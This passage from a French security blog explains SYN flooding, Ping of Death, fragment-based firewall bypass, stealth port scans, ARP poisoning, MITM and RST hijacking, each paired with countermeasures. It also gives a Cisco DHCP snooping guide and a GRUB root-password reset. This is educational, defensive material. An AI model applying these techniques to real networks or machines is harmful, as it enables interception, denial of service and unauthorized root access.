Ici, l’attaquant floode la victime avec beaucoup de paquets SYN spoofés (d’adresses prises au hasard). La victime va donc répondre à ces paquets SYN par un paquet ACK/SYN en attente d’un paquet ACK, comme la coutume le veut. Puisque les réponses ne viendront pas, la machine gardera dans la pile les informations sur chaque host qui a demandé l’initialisation d’une connexion. Pour que ces connexions soient enlevées de la queue, il faut qu’elles timeout, ce qui peut prendre relativement longtemps selon la configuration. Par conséquent, au fur et à mesure, tous les ports seront en attente d’un paquet ACK qui ne viendra pas. Au final, tous les ports de la machine étant en attente, aucune nouvelle requête ne peut être traitée.

Contre-attaque:
- Limitation du nombre de connections simultanées
- Reduction du timeout

Ping of the Death

Descriptif :
Dans les spécifications du protocole ICMP, les paquets echo n’ont été conçus que pour contenir 216 octets de données dans le cas des requêtes et réponses ICMP, seuls les en-têtes importent, aucun réel message n’est nécessaire. Un DoS très connu est simplement l’utilisation de minimum 65 537 (= 216 + 1) octets de données. Le système recevant le message paniquera à la réception du paquet et crashera. Ceci dit, la plupart des systèmes sont maintenant protégés contre cette attaque rudimentaire ;)

Contre-attaque :
- Filtrage des paquets icmp de plus de 1472 octets
- Arrêter d’utiliser Windows 98, Debian 2, et tout autre système anté 2000 :D

Overlapping Fragment Attack

L’attaque par Overlapping Fragment est une variation de la très vieille et très célèbre Teardrop Attack. Teardrop envoyait des paquets UDP fragmentés ayant des fragments se recouvrant, ce qui provoquait à l’époque le crash de la plupart des machines n’ayant pas prévu ce type de problème. Dans le cas de l’Overlapping Fragment, le but est de passer outre les règles d’un firewall. Pour des raisons de performance et parce que finalement seul le header du premier fragment d’un paquet va déterminer son utilisation finale, les firewalls ont pris l’habitude de ne vérifier que les premiers fragments d’une séquence TCP. Seulement, il n’a pas été prévu que les paquets suivants pouvaient également définir la destinée du paquet. Le réassemblage du protocole TCP ayant été mieux étudié, il prévoit de réécrire les zones se chevauchant s’il y en a. Mais, encore un oubli : l’offset IP est valable à partir de la fin de son header, c’est-à-dire au début du header de la couche supérieure. Par conséquent, au début du header TCP. Au final on peux donc by passer un firewall en envoyant un paquet fragmenté avec, au premier fragment, une destination autorisée et pour les fragments suivants “ce que l’on veut”

Contre-attaque :
- En premier lieu, cette attaque peut être bloquée par le routeur en supprimant les paquets d’offset 1 et 2, ou les paquets ayant un offset 0 et un nombre d’octets inférieur à la longueur du header du protocole associé. Tout anodine qu’elle puisse paraître, cette attaque est très rarement prise en compte malgré le fait qu’elle permet d’anéantir les bons efforts des firewalls…

Scan connect

Le scanning est un grand enjeu de la sécurité informatique. Une intrusion quelle qu’elle soit doit être préparée un minimum. La plupart des services tournent sur des ports standards, documentés, etc… Une vraie mine d’or pour les hackers donc. La façon la plus simple de scanner les ports d’un système est d’essayer d’ouvrir une connexion sur chaque port et donc de déterminer si la connexion est refusée ou non.

Contre-attaque :
- Limiter le nombre de connections par ip

Scan SYN ou Half-Opened

Technique moins voyante, ne pas établir une connexion complète en omettant la troisième étape de l’initialisation de la connexion. En fait, on envoie un paquet SYN sur le port concerné. Si le port est en écoute, un paquet SYN/ACK est renvoyé, le port est donc ouvert. On envoie un paquet RST pour terminer la connexion (nécessaire car si on scanne beaucoup de ports sans RST, on peut DoS la victime de la même façon qu’un Flood SYN pourrait le faire). Cette technique qui n’est pas non plus très compliquée évite l’ouverture complète de la connexion et ainsi le log de l’IP par la majorité des services ayant accepté une connexion.

Scans FIN/X-MAS/NULL, ou scans RST

Ces trois techniques préfèrent envoyer des paquets qui n’ont aucun sens lorsque que la connexion est fermée et s’appuyer sur les différences d’interprétations du serveur. Effectivement, si un paquet quelconque est envoyé sur un port ouvert, il sera ignoré puisque ce port attend avant toute chose un paquet SYN. Par contre, si le port est fermé, la RFC 793 prévoit le retour d’un paquet RST. En utilisant cette différence, on peut déterminer les ports ouverts et les ports fermés. Le scan FIN envoie un paquet FIN, le scan X-MAS envoie un paquet FIN/URG/PSH et le NULL, vous l’avez compris, envoie un paquet avec tous les flags TCP à off. Attention, cette technique ne marche pas sur certains OS Microsoft, car le géant de l’informatique n’aimant pas à faire les choses comme tout le monde, il ne suit tout simplement pas la RFC…

Contre-attaque pour les Scans
- Shroud ou/où ? “Tout mes ports sont fermés !”
- Injection de SYN/ACK dans tous les paquets ou/où ? “Tout mes ports sont ouverts ! “
- Suppression des paquets RST
La plupart des scans reposent sur les paquets RST. Mais ces paquets n’ont pas grand intérêt, en effet ils ne servent que pour +/- 1% des connections et leurs seul but est de gagner quelques millisecondes pour fermer un port. On peut donc décider sans trop de remords de s’en passer et donc supprimer l’envoi de paquets RST.
- Fixer MTU sur interfaces

Inform@tiquement
Manu404

Tagged with: ,

Technique de hacking de base : Poisoning, flood, MITM et Cie

Posted in Sécurité by Emmanuel Istace on 7 juillet 2010

Au sommaire ARP Spoofing et ses utilisations MAC Flooding, MITM, DoS, RSTHijacking… Que des attaques délicates dans ce monde de brute-overflow !

ARP Poisoning

Description
Le principe est d’envoyer des ARP Reply de soi-même. Pourquoi ? Parce que la MAC adresse sur un réseau switché a bien plus d’importance qu’on peut le penser. En effet, on parle souvent de IP, mais IP n’est qu’une surcouche à MAC, pour être précis, IP est en layer 3 et MAC en layer 2. Chaque machine sur le réseau a une adresse MAC et une cache. La cache est en fait une table de correspondances MAC->IP. Ainsi, quand on veut joindre l’ip 192.168.1.100, on ne la joint au final pas avec ip mais avec la MAC. Cette table est souvent dynamique, ainsi, on peut en changer les entrées et associer l’ip X avec une MAC sans aucun liens en envoyant à la victime des ARP Reply. Au final nous avons par exemple 3 machines, la nôtre, A, la passerelle, B, et la victime C. Nous allons donc dire à la victime que l’ip de B est à la MAC Adresse B, ainsi, quand C voudra joindre B il enverra en fait son paquet à A.

MAC Flooding

Les attaques de type ARP Poisoning se retrouvent dans un réseau switché.
Il arrive que, quand certains switchs sont surchargés, ils passent en mode hub, ce qui leur évite de traiter beaucoup de données. Pour rappel, un hub envoie tous les paquets à tous les clients connectés, c’est au client de rejeter ou non le paquet, contrairement à un swtich qui n’envoie les paquets qu’au client avec la MAC de destination.
Il suffit donc de flooder le switch avec beaucoup de fausses réponses ARP spoofées, ce qui va causer la surcharge du cache ARP et le passage en mode hub.

Denial of Service

Si on empoisonne ses caches ARP en se faisant passer pour la passerelle du réseau et qu’on cause chez lui une fausse association entre l’IP de la passerelle et un MAC quelconque, dès qu’il voudra par exemple envoyer un paquet sortant du réseau vers Internet, il enverra ce paquet au MAC spécifié. Ce qui permet de rediriger par exemple tout le trafic du réseau vers un serveur et, si ce dernier n’a pas la puissance suffisante pour traiter toutes les demandes, alors il crashera tout simplement.

Man in the Middle
Si on peut rediriger les flux réseaux, pourquoi ne pas se les envoyer ?
On va mettre en place exactement la même chose que pour une attaque de type DoS sauf que nous rerouterons ensuite les paquets vers la gateway du réseau. Ainsi l’opération sera transparente pour les clients sauf que nous, nous pourrons capturer tout le trafic du réseau, récupérer les mots de passe, injecter des données, casser les SSL très facilement, etc…

Sécurisation
- Fixer/Limiter les macs par port sur le switch (port security)
- Rendre statiques les tables ARP (aussi bien client que server)

RST Hijacking

Le principe de RST Hijacking est très simple, il consiste en l’injection d’un paquet RST spoofé de la machine trompée B à la victime A. Ainsi, la victime pense que B lui a envoyé un paquet de réinitialisation de la connexion, ce qu’il va faire. Une connexion réinitialisée n’est pas pour autant inactive. Ainsi, pour B, la connexion est toujours dans un état normal et pour A, la connexion a été réinitialisée, modifiant entre autre le numéro de reconnaissance de B. Ce principe est simple à mettre en œuvre. D’ailleurs, c’est la méthode utilisée dans le fameux firewall chinois, c’est-à-dire que si un pc essaie de contacter un site sur blacklist par exemple, des faux paquets RST sont envoyés et la connexion est réinitialisée. Cette technique a deux pendants : immédiatement, on pense à la possibilité de DoS dans l’éventualité où l’on RST toute connexion sniffée (a plus d’utilité dans un réseau type hub), ou l’utilisation que nous avons décrite pour l’IP Spoofing.
Nous prenons l’hypothèse la plus plausible, à savoir que nous nous trouvons dans un réseau switché. Tout d’abord, il nous faut sniffer un échange entre les deux systèmes. A l’aide d’un seul paquet, on est capable de connaître les numéros de séquence des deux côtés. La connaissance de ces nombres nous permet d’envoyer un paquet RST à A. A recevant un paquet RST, il réinitialise la connexion et incrémente le numéro ACK. On peut couper l’empoisonnement ARP de A pour éviter toute détection et faire revenir son cache ARP à la normale : de toute façon, tout paquet qu’il enverra sera ignoré si nous envoyons un paquet à B avant lui. Il ne nous reste plus qu’à envoyer des paquets spoofés de A à B, ce dernier croyant à un dialogue de A, il renverra les paquets à A qui, pour lui, se trouve à notre MAC. Le détournement et le spoof sont réussis. Cette technique est particulièrement intéressante pour toutes les connexions à identification unique (typiquement quand on saisit un mot de passe au début de la connexion, ce qui représente une bonne partie des connexions existantes).

Inform@tiquement
Manu404

Tagged with: , , ,

DHCP snooping : Défense contre le DHCP spoofing

Posted in Cisco, Sécurité by Emmanuel Istace on 8 mars 2010


Un petit article pour vous présenter une parade au dhcp spoofing implémenté sur des switchs cisco.
Cette parade s’apel le DHCP snooping. Elle consiste a mettre en place un liste de port sur le switch sur lequel se trouvent les “trusted dhcp server”.
De cette manière, il sera impossible de rajouter un dhcp sur le LAN.
Tout d’abord, un peux de théorie sur les DHCP.

1. Théorie

Un DHCP est un serveur permettant de configurer l’ip, le netmask, les serveurs dns et la passerelle d’un machine cliente.
Le danger est, dans le cas ou un dhcp externe est apporter au réseau, que les informations envoyé au clients ne sont pas intègre. Par exemple, le dhcp “pirate” peux renseigner comme passerelle du réseau sa propre IP, dans ce cas, tout le trafic des clients transitera par le dhcp “pirate” (MITM), ou alors, renseigner une machine cliente comme gateway ce qui cause premièrement un DoS du réseau, et si le client n’est pas suffisamment puissant pour gérer toutes les requêtes, un crash de la machine gateway.
Voici comment se déroule une transaction DHCP.

1. Le client émet un dhcp discover, le tout se joue en couche 2  vu que le client n’ pas d’ip. Il broadcast donc en FF:FF:FF:FF:FF:FF pour obtenir la liste des serveurs dhcp a proximité.
2. Les serveurs DHCP s’annoncent avec un DHCP OFFER et offre une configuration au client.
3. Le client envoi a tout les serveur dhcp quel serveur il a choisis et envoi donc un DHCP REQUEST
4. Le serveur DHCP ayan été choisis confirme au clietn que sa demande a bien été enregistré.
Tout ces machanismes permettent par exemple, dans le cas ou il y a  deux serveurs DHCP avec chacun le subnet 192.168.1.0/24 de disponible, de se synchronisé . Ainsi si l’ip 192.168.1.2 a été attribué depuis le dhcp A, le dhcp B sera informé que cette ip a été attribué et l’enlèvera de son pool d’adresse disponible.

Imaginons maintenant que un serveur dhcp externe a été apporté au réseau

On voi que le serveur DHCP pirate envoi aussi un DHCP OFFER, ce qui fait qu’il est potentiellement choisissable par la machine cliente.

2. DHCP Snooping

Le dhcp snooping est simple, vu que n’importe qui est autorisé a emttre des DHCP OFFER et ACK, nous allons autoriser que certains ports sur le switch a les émettre.
Ainsi nous aurons une listes des port “trusted” et “untrusted”. Seul les ports Trusted pourront émettre des DHCP OFFER et ACK, ainsi, la machine pirate du shema ci-dessus, n’étant pas sur un port trusted, ne pourra donc pas émettre de DHCP OFFER et ACK.
C’est très simple a mettre en place :

1. Switch(config)# ip dhcp snooping
2. Switch(config)# ip dhcp snooping vlan 3 15
3. Switch(config)# ip dhcp snooping information option
4. Switch(config)# interface fastethernet0/0
5. Switch(config-if)# ip dhcp snooping trust
6. Switch(config-if)# ip dhcp snooping limit rate 50

1. On active le dhcp snoooping
2. On définit sur quels VLAN le dhcp snooping s’appliquera
3. On active l’option 82 du protocole DHCP car le DHCP snooping en a besoin (plus d’infos sur l’option 82) http://www.cisco.com/en/US/docs/ios/12_2t/12_2t2/feature/guide/ftrbeo82.html
Enfin, on définit les interface que l’on veux truster, sur lesquels se trouvent donc les serveurs dhcp. Dans ce cas ci, sur l’interface fa 0/0
4. On rentre dans la configuration de l’interface
5. On la trust
6. On définit le nombre de requête maximal par seconde autorisé.

3. Conclusion

Le DHCP spoofing est encore trop facilement réalisable. Il y a d’autres méthodes de protection hardware ou logiciel, par exemple, definir de manière fixe la MAC address du serveur DHCP, ainsi, le client ne broadcast plus et va directement contacter le serveur DHCP renseigné. Cette protection n’est pas infaillibles et ne protège QUE du dhcp spoofing, pas de l’ip spoofing, l’arp spoofing, etc.
Voici quelques conseils que je donnerais pour améliorer la sécurité :
1. Mettre des ip fixes sur les serveurs.
JE sais, ça parait le B-a-BA, mais ce n’est psa fait partout, certains serveurs ‘optionnels’, sot en ip dynamique…
2. SI vous êtes dans un LAN de quelques machines (moin de 30), configurer les clients avec des ips fixe
3. Bloquer sur le switch les ports non utilisé afin d’interdire l’apport de machines externes
4. Dedier un DHCP pour le VPN et un pour le WIFI et les mettre les clients dans des zones isolé et autement filtré.
5. Rajouter du filtrage par MAC sur les switch.

Voila, tout n’es pas nécessaire, mais le DHCP snooping n’est pas suffisant. Il faut toujours partir du principe que la sécurité totale n’existe pas, la sécurité n’est que la réduction de pertes en cas d’attaques et doit sans cesse être remise en question.

En espérant que ceci vous ai plu ^^

Tips : Reset password Debian (Grub)

Posted in Linux, Sécurité by Emmanuel Istace on 8 mars 2010


Ca m’arrive souvent d’oublier le password root de mes debians en VM que je n’ai plus démarré depuis longtemp.
Voici une petite procédure qui permet de le reseter. Je ne sais pas si la procédure fonctionne avec Lilo (que je connais très mal par ailleur)
Ce qu’il faut faire :

1. Rebooter, une fois grub afficher, taper “e” et rajouter “init=/bin/bash” sur la ligne kernel

Appuyer sur b pour booter.
2. Remonter le filesystem en read/write car il est pour le moment en read only.
Pour ce faire, taper la commande :
“mount -o remount rw /”
3. Simplement utiliser passwd pour fixer un nouveau password.
!!!!!!!!!!!!!! CLAVIER PAR DEFAUT EN QWERTY !!!!!!!!!!!!!

Voila c’est tout, on reboot, et on se log en root ^^

Istace Emmanuel

Suivre

Get every new post delivered to your Inbox.

Joignez-vous à 31 followers